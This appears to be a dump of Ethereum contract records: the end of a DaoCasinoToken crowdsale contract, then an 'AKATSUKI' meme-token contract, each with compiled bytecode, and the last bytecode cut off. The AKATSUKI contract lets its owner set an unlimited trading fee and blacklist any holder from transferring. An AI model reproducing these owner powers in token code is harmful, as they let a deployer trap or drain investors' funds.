require(now <= ENDDATE);
// No 0 contributions
require(msg.value > 0);
// Add ETH raised to total
totalEthers = totalEthers.add(msg.value);
// Cannot exceed cap
require(totalEthers <= CAP);
// What is the BET to ETH rate
uint256 _buyPrice = buyPrice();
// Calculate #BET - this is safe as _buyPrice is known
// and msg.value is restricted to valid values
uint tokens = msg.value * _buyPrice;
// Check tokens > 0
require(tokens > 0);
// Compute tokens for foundation 30%
// Number of tokens restricted so maths is safe
uint multisigTokens = tokens * 3 / 7;
// Add to total supply
_totalSupply = _totalSupply.add(tokens);
_totalSupply = _totalSupply.add(multisigTokens);
// Add to balances
balances[participant] = balances[participant].add(tokens);
balances[multisig] = balances[multisig].add(multisigTokens);
// Log events
TokensBought(participant, msg.value, totalEthers, tokens,
multisigTokens, _totalSupply, _buyPrice);
Transfer(0x0, participant, tokens);
Transfer(0x0, multisig, multisigTokens);
// Move the funds to a safe wallet
multisig.transfer(msg.value);
}
event TokensBought(address indexed buyer, uint256 ethers,
uint256 newEtherBalance, uint256 tokens, uint256 multisigTokens,
uint256 newTotalSupply, uint256 buyPrice);
// ------------------------------------------------------------------------
// Owner to add precommitment funding token balance before the crowdsale
// commences
// ------------------------------------------------------------------------
function addPrecommitment(address participant, uint balance) onlyOwner {
require(now < STARTDATE);
require(balance > 0);
balances[participant] = balances[participant].add(balance);
_totalSupply = _totalSupply.add(balance);
Transfer(0x0, participant, balance);
}
// ------------------------------------------------------------------------
// Transfer the balance from owner's account to another account, with a
// check that the crowdsale is finalised
// ------------------------------------------------------------------------
function transfer(address _to, uint _amount) returns (bool success) {
// Cannot transfer before crowdsale ends or cap reached
require(now > ENDDATE || totalEthers == CAP);
// Standard transfer
return super.transfer(_to, _amount);
}
// ------------------------------------------------------------------------
// Spender of tokens transfer an amount of tokens from the token owner's
// balance to another account, with a check that the crowdsale is
// finalised
// ------------------------------------------------------------------------
function transferFrom(address _from, address _to, uint _amount)
returns (bool success)
{
// Cannot transfer before crowdsale ends or cap reached
require(now > ENDDATE || totalEthers == CAP);
// Standard transferFrom
return super.transferFrom(_from, _to, _amount);
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint amount)
onlyOwner returns (bool success)
{
return ERC20Token(tokenAddress).transfer(owner, amount);
}
}
library CreatorDaoCasinoToken {
function create(uint256 _start, uint256 _end, uint256 _cap, address _multisig) returns (DaoCasinoToken)
{ return new DaoCasinoToken(_start, _end, _cap, _multisig); }
function version() constant returns (string)
{ return "v0.6.3"; }
}
|
0x606060405263ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663477cdbb5811461004557806354fd4d5014610098575bfe5b61006f60043560243560443573ffffffffffffffffffffffffffffffffffffffff60643516610120565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b6100a061017f565b6040805160208082528351818301528351919283929083019185019080838382156100e6575b8051825260208311156100e657601f1990920191602091820191016100c6565b505050905090810190601f1680156101125780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b60008484848461012e6101c0565b938452602084019290925260408084019190915273ffffffffffffffffffffffffffffffffffffffff90911660608301525190819003608001906000f080151561017457fe5b90505b949350505050565b6101876101d0565b5060408051808201909152600681527f76302e362e33000000000000000000000000000000000000000000000000000060208201525b90565b604051611083806101e383390190565b60408051602081019091526000815290560060606040526000600255341561001157fe5b60405160808061108383398101604090815281516020830151918301516060909301519092905b5b60008054600160a060020a03191633600160a060020a03161790555b60058490556006839055600782905560088054600160a060020a031916600160a060020a0383161790555b505050505b610fef806100946000396000f300606060405236156101305763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610142578063095ea7b3146101d25780630a4625af1461020557806318160ddd146102275780631db9ec2c1461024957806323b872dd1461026b578063313ce567146102a45780633818d907146102ca578063383e3a5d146102eb5780634783c35b1461031057806370a082311461033c57806379ba50971461036a5780637e4d5ea11461037c5780638620410b1461039e5780638da5cb5b146103c057806395d89b41146103ec578063a9059cbb1461047c578063d4ee1d90146104af578063dc39d06d146104db578063dd62ed3e1461050e578063ec81b48314610542578063f2fde38b14610564578063f48c305414610582575b6101405b61013d33610598565b5b565b005b341561014a57fe5b6101526107c4565b604080516020808252835181830152835191928392908301918501908083838215610198575b80518252602083111561019857601f199092019160209182019101610178565b505050905090810190601f1680156101c45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101da57fe5b6101f1600160a060020a03600435166024356107fb565b604080519115158252519081900360200190f35b341561020d57fe5b610215610866565b60408051918252519081900360200190f35b341561022f57fe5b61021561086c565b60408051918252519081900360200190f35b341561025157fe5b610215610873565b60408051918252519081900360200190f35b341561027357fe5b6101f1600160a060020a0360043581169060243516604435610879565b604080519115158252519081900360200190f35b34156102ac57fe5b6102b46108af565b6040805160ff9092168252519081900360200190f35b34156102d257fe5b610140600160a060020a03600435166024356108b4565b005b34156102f357fe5b61021560043561097a565b60408051918252519081900360200190f35b341561031857fe5b610320610a41565b60408051600160a060020a039092168252519081900360200190f35b341561034457fe5b610215600160a060020a0360043516610a50565b60408051918252519081900360200190f35b341561037257fe5b610140610a6f565b005b341561038457fe5b610215610af6565b60408051918252519081900360200190f35b34156103a657fe5b610215610afc565b60408051918252519081900360200190f35b34156103c857fe5b610320610b0d565b60408051600160a060020a039092168252519081900360200190f35b34156103f457fe5b610152610b1c565b604080516020808252835181830152835191928392908301918501908083838215610198575b80518252602083111561019857601f199092019160209182019101610178565b505050905090810190601f1680156101c45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561048457fe5b6101f1600160a060020a0360043516602435610b53565b604080519115158252519081900360200190f35b34156104b757fe5b610320610b87565b60408051600160a060020a039092168252519081900360200190f35b34156104e357fe5b6101f1600160a060020a0360043516602435610b96565b604080519115158252519081900360200190f35b341561051657fe5b610215600160a060020a0360043581169060243516610c45565b60408051918252519081900360200190f35b341561054a57fe5b610215610c72565b60408051918252519081900360200190f35b341561056c57fe5b610140600160a060020a0360043516610c78565b005b610140600160a060020a0360043516610598565b005b60006000600060055442101515156105b05760006000fd5b6006544211156105c05760006000fd5b600034116105ce5760006000fd5b6009546105e1903463ffffffff610cc116565b60098190556007549011156105f65760006000fd5b6105fe610afc565b92503483029150600082116106135760006000fd5b6007600383025b04905061063282600254610cc190919063ffffffff16565b6002819055610647908263ffffffff610cc116565b600255600160a060020a038416600090815260036020526040902054610673908363ffffffff610cc116565b600160a060020a0380861660009081526003602052604080822093909355600854909116815220546106ab908263ffffffff610cc116565b600854600160a060020a039081166000908152600360209081526040918290209390935560095460025482513481529485019190915283820186905260608401859052608084015260a0830186905251908616917f6bf42ea559224a77e2bc8d284b9f2eb6ed6b198a7ef7b742b41562c6a20b9adc919081900360c00190a2604080518381529051600160a060020a03861691600091600080516020610fa48339815191529181900360200190a3600854604080518381529051600160a060020a0390921691600091600080516020610fa4833981519152919081900360200190a3600854604051600160a060020a03909116903480156108fc02916000818181858888f1935050505015156107bd57fe5b5b50505050565b60408051808201909152600a81527f44616f2e436173696e6f00000000000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260046020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060015b92915050565b60095481565b6002545b90565b60065481565b600060065442118061088e5750600754600954145b151561089a5760006000fd5b6108a5848484610ce9565b90505b9392505050565b601281565b60005433600160a060020a039081169116146108d05760006000fd5b60055442106108df5760006000fd5b600081116108ed5760006000fd5b600160a060020a038216600090815260036020526040902054610916908263ffffffff610cc116565b600160a060020a038316600090815260036020526040902055600254610942908263ffffffff610cc116565b600255604080518281529051600160a060020a03841691600091600080516020610fa48339815191529181900360200190a35b5b5050565b600060055482101561098e57506000610a34565b60055462015180018210156109a657506107d0610a34565b6005546213c680018210156109be5750610708610a34565b6005546217bb00018210156109d657506106a4610a34565b600554621baf80018210156109ee5750610640610a34565b600554621fa40001821015610a0657506105dc610a34565b6005546223988001821015610a1e5750610578610a34565b6006548211610a305750610514610a34565b5060005b5b5b5b5b5b5b5b5b919050565b600854600160a060020a031681565b600160a060020a0381166000908152600360205260409020545b919050565b60015433600160a060020a039081169116141561013d5760015460008054604051600160a060020a0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36001546000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039092169190911790555b5b565b60055481565b6000610b074261097a565b90505b90565b600054600160a060020a031681565b60408051808201909152600381527f4245540000000000000000000000000000000000000000000000000000000000602082015281565b6000600654421180610b685750600754600954145b1515610b745760006000fd5b610b7e8383610e7e565b90505b92915050565b600154600160a060020a031681565b6000805433600160a060020a03908116911614610bb35760006000fd5b6000805460408051602090810184905281517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0393841660048201526024810187905291519287169363a9059cbb936044808501949192918390030190829087803b1515610c2657fe5b6102c65a03f11515610c3457fe5b5050604051519150505b5b92915050565b600160a060020a038083166000908152600460209081526040808320938516835292905220545b92915050565b60075481565b60005433600160a060020a03908116911614610c945760006000fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b50565b6000828201838110801590610cd65750828110155b1515610cde57fe5b8091505b5092915050565b600160a060020a038316600090815260036020526040812054829010801590610d395750600160a060020a0380851660009081526004602090815260408083203390941683529290522054829010155b8015610d455750600082115b8015610d6a5750600160a060020a038316600090815260036020526040902054828101115b15610e6e57600160a060020a038416600090815260036020526040902054610d98908363ffffffff610f8c16565b600160a060020a0380861660009081526003602090815260408083209490945560048152838220339093168252919091522054610ddb908363ffffffff610f8c16565b600160a060020a0380861660009081526004602090815260408083203385168452825280832094909455918616815260039091522054610e21908363ffffffff610cc116565b600160a060020a038085166000818152600360209081526040918290209490945580518681529051919392881692600080516020610fa483398151915292918290030190a35060016108a8565b5060006108a8565b5b9392505050565b600160a060020a033316600090815260036020526040812054829010801590610ea75750600082115b8015610ecc5750600160a060020a038316600090815260036020526040902054828101115b15610f7d57600160a060020a033316600090815260036020526040902054610efa908363ffffffff610f8c16565b600160a060020a033381166000908152600360205260408082209390935590851681522054610f2f908363ffffffff610cc116565b600160a060020a03808516600081815260036020908152604091829020949094558051868152905191933390931692600080516020610fa483398151915292918290030190a3506001610860565b506000610860565b5b92915050565b600082821115610f9857fe5b508082035b929150505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820834f725cfab653159f9ad84fcd59c9a3d04dedf2c263a2d7cf0dfdd3b3ba17210029a165627a7a72305820ff6ddbeff3eba3ffac8678c8c0def28dd71f96313978ef298e6d539fdf35c9cc0029
|
{"success": true, "error": null, "results": {}}
| 8,689 |
0x4d146f909a2d5ec04c5eea666e2a928a3e5b1aad
|
/**
*Submitted for verification at Etherscan.io on 2022-04-04
*/
//https://t.me/akatsukinuportal
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract AKATSUKI is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e13 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "AKATSUKI";
string private constant _symbol = "AKATSUKI";
uint private constant _decimals = 9;
uint256 private _teamFee = 13;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
uint256 burnCount = contractTokenBalance.div(15);
contractTokenBalance -= burnCount;
_burnToken(burnCount);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _burnToken(uint256 burnCount) private lockTheSwap(){
_transfer(address(this), address(0xdead), burnCount);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (5 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103c1578063cf0848f7146103d6578063cf9d4afa146103f6578063dd62ed3e14610416578063e6ec64ec1461045c578063f2fde38b1461047c57600080fd5b8063715018a6146103245780638da5cb5b1461033957806390d49b9d1461036157806395d89b4114610172578063a9059cbb14610381578063b515566a146103a157600080fd5b806331c2d8471161010857806331c2d8471461023d5780633bbac5791461025d578063437823ec14610296578063476343ee146102b65780635342acb4146102cb57806370a082311461030457600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b257806318160ddd146101e257806323b872dd14610209578063313ce5671461022957600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5061017061049c565b005b34801561017e57600080fd5b506040805180820182526008815267414b415453554b4960c01b602082015290516101a991906118cf565b60405180910390f35b3480156101be57600080fd5b506101d26101cd366004611949565b6104e8565b60405190151581526020016101a9565b3480156101ee57600080fd5b5069021e19e0c9bab24000005b6040519081526020016101a9565b34801561021557600080fd5b506101d2610224366004611975565b6104ff565b34801561023557600080fd5b5060096101fb565b34801561024957600080fd5b506101706102583660046119cc565b610568565b34801561026957600080fd5b506101d2610278366004611a91565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a257600080fd5b506101706102b1366004611a91565b6105fe565b3480156102c257600080fd5b5061017061064c565b3480156102d757600080fd5b506101d26102e6366004611a91565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031057600080fd5b506101fb61031f366004611a91565b610686565b34801561033057600080fd5b506101706106a8565b34801561034557600080fd5b506000546040516001600160a01b0390911681526020016101a9565b34801561036d57600080fd5b5061017061037c366004611a91565b6106de565b34801561038d57600080fd5b506101d261039c366004611949565b610758565b3480156103ad57600080fd5b506101706103bc3660046119cc565b610765565b3480156103cd57600080fd5b5061017061087e565b3480156103e257600080fd5b506101706103f1366004611a91565b610936565b34801561040257600080fd5b50610170610411366004611a91565b610981565b34801561042257600080fd5b506101fb610431366004611aae565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561046857600080fd5b50610170610477366004611ae7565b610bdc565b34801561048857600080fd5b50610170610497366004611a91565b610c0b565b6000546001600160a01b031633146104cf5760405162461bcd60e51b81526004016104c690611b00565b60405180910390fd5b60006104da30610686565b90506104e581610ca3565b50565b60006104f5338484610e1d565b5060015b92915050565b600061050c848484610f41565b61055e843361055985604051806060016040528060288152602001611c7b602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611384565b610e1d565b5060019392505050565b6000546001600160a01b031633146105925760405162461bcd60e51b81526004016104c690611b00565b60005b81518110156105fa576000600560008484815181106105b6576105b6611b35565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f281611b61565b915050610595565b5050565b6000546001600160a01b031633146106285760405162461bcd60e51b81526004016104c690611b00565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f193505050501580156105fa573d6000803e3d6000fd5b6001600160a01b0381166000908152600160205260408120546104f9906113be565b6000546001600160a01b031633146106d25760405162461bcd60e51b81526004016104c690611b00565b6106dc6000611442565b565b6000546001600160a01b031633146107085760405162461bcd60e51b81526004016104c690611b00565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b60006104f5338484610f41565b6000546001600160a01b0316331461078f5760405162461bcd60e51b81526004016104c690611b00565b60005b81518110156105fa57600c5482516001600160a01b03909116908390839081106107be576107be611b35565b60200260200101516001600160a01b03161415801561080f5750600b5482516001600160a01b03909116908390839081106107fb576107fb611b35565b60200260200101516001600160a01b031614155b1561086c5760016005600084848151811061082c5761082c611b35565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061087681611b61565b915050610792565b6000546001600160a01b031633146108a85760405162461bcd60e51b81526004016104c690611b00565b600c54600160a01b900460ff1661090c5760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104c6565b600c805460ff60b81b1916600160b81b17905542600d8190556109319061012c611b7c565b600e55565b6000546001600160a01b031633146109605760405162461bcd60e51b81526004016104c690611b00565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109ab5760405162461bcd60e51b81526004016104c690611b00565b600c54600160a01b900460ff1615610a135760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104c6565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a6a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8e9190611b94565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610adb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aff9190611b94565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b4c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b709190611b94565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c065760405162461bcd60e51b81526004016104c690611b00565b600855565b6000546001600160a01b03163314610c355760405162461bcd60e51b81526004016104c690611b00565b6001600160a01b038116610c9a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104c6565b6104e581611442565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ceb57610ceb611b35565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d689190611b94565b81600181518110610d7b57610d7b611b35565b6001600160a01b039283166020918202929092010152600b54610da19130911684610e1d565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610dda908590600090869030904290600401611bb1565b600060405180830381600087803b158015610df457600080fd5b505af1158015610e08573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610e7f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c6565b6001600160a01b038216610ee05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c6565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fa55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c6565b6001600160a01b0382166110075760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c6565b600081116110695760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c6565b6001600160a01b03831660009081526005602052604090205460ff16156111115760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104c6565b6001600160a01b03831660009081526004602052604081205460ff1615801561115357506001600160a01b03831660009081526004602052604090205460ff16155b80156111695750600c54600160a81b900460ff16155b80156111995750600c546001600160a01b03858116911614806111995750600c546001600160a01b038481169116145b1561137257600c54600160b81b900460ff166111f75760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104c6565b50600c546001906001600160a01b0385811691161480156112265750600b546001600160a01b03848116911614155b8015611233575042600e54115b1561127c57600061124384610686565b9050611265606461125f69021e19e0c9bab24000006002611492565b90611511565b61126f8483611553565b111561127a57600080fd5b505b600d544214156112aa576001600160a01b0383166000908152600560205260409020805460ff191660011790555b60006112b530610686565b600c54909150600160b01b900460ff1615801